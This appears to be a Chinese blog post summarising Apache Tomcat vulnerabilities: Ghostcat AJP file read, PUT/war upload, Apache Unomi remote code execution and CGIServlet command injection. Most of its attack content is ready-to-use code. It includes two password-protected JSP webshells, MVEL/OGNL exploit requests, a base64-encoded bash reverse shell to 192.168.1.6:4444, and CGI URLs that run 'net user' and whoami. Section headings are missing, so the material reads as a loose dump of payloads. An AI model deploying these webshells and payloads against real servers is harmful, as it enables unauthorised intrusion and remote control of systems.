Tomcat常见的漏洞总结

Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的

Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31

Apache Tomcat = 7.0.100Apache Tomcat = 8.5.51Apache Tomcat = 9.0.31

下载地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

<%    if("023".equals(request.getParameter("pwd"))){    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("</pre>");}%>

jar cvf  +部署的war木马 +自己bin目录下的jsp木马

<init-param>         <param-name>readonly</param-name>         <param-value>false</param-value> </init-param> 

jsp马:<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%> <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

POST /context.json HTTP/1.1Host: 目标地址:8181User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Content-Length: 495
{    "filters": [        {            "id": "boom",            "filters": [                {                    "condition": {                         "parameterValues": {                            "test": "script::Runtime r = Runtime.getRuntime(); r.exec("ping br9yb9.dnslog.cn");"                        },                        "type": "profilePropertyCondition"                    }                }            ]        }    ],    "sessionId": "test"}

bash -i >& /dev/tcp/192.168.1.6/4444 0>&1编码后为bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 483
{    "filters": [        {            "id": "sample",            "filters": [                {                    "condition": {                         "parameterValues": {                            "": "script::Runtime r = Runtime.getRuntime(); r.exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}");"                        },                        "type": "profilePropertyCondition"                    }                }            ]        }    ],    "sessionId": "sample"}

POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1064
{    "personalizations":[    {      "id":"gender-test",      "strategy":"matching-first",      "strategyOptions":{        "fallback":"var2"      },      "contents":[        {          "filters":[            {              "condition":{                "parameterValues":{                  "propertyName":"(#runtimeclass = #this.getClass().forName("java.lang.Runtime")).  (#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).  (#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{?  #this.name.equals("exec")}.{? #this.getParameters()  [0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]).  (#execmethod.invoke(#rtobj,"touch /tmp/ognl"))",                  "comparisonOperator":"equals",                  "propertyValue":"male"                },                "type":"profilePropertyCondition"              }            }          ]        }      ]    }    ],    "sessionId":"sample"}

Apache Tomcat 9.0.0.M1 ~ 9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93

<servlet>    <servlet-name>cgi</servlet-name>    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>    <init-param>      <param-name>debug</param-name>      <param-value>0</param-value>    </init-param>    <init-param>      <param-name>cgiPathPrefix</param-name>      <param-value>WEB-INF/cgi-bin</param-value>    </init-param>    <init-param>      <param-name>executable</param-name>      <param-value></param-value>    </init-param>     <load-on-startup>5</load-on-startup></servlet> 
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping>    <servlet-name>cgi</servlet-name>    <url-pattern>/cgi-bin/*</url-pattern></servlet-mapping>

http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe

Apache Tomcat 9.0.18或更高版本Apache Tomcat 8.5.40或更高版本Apache Tomcat 7.0.93或更高版本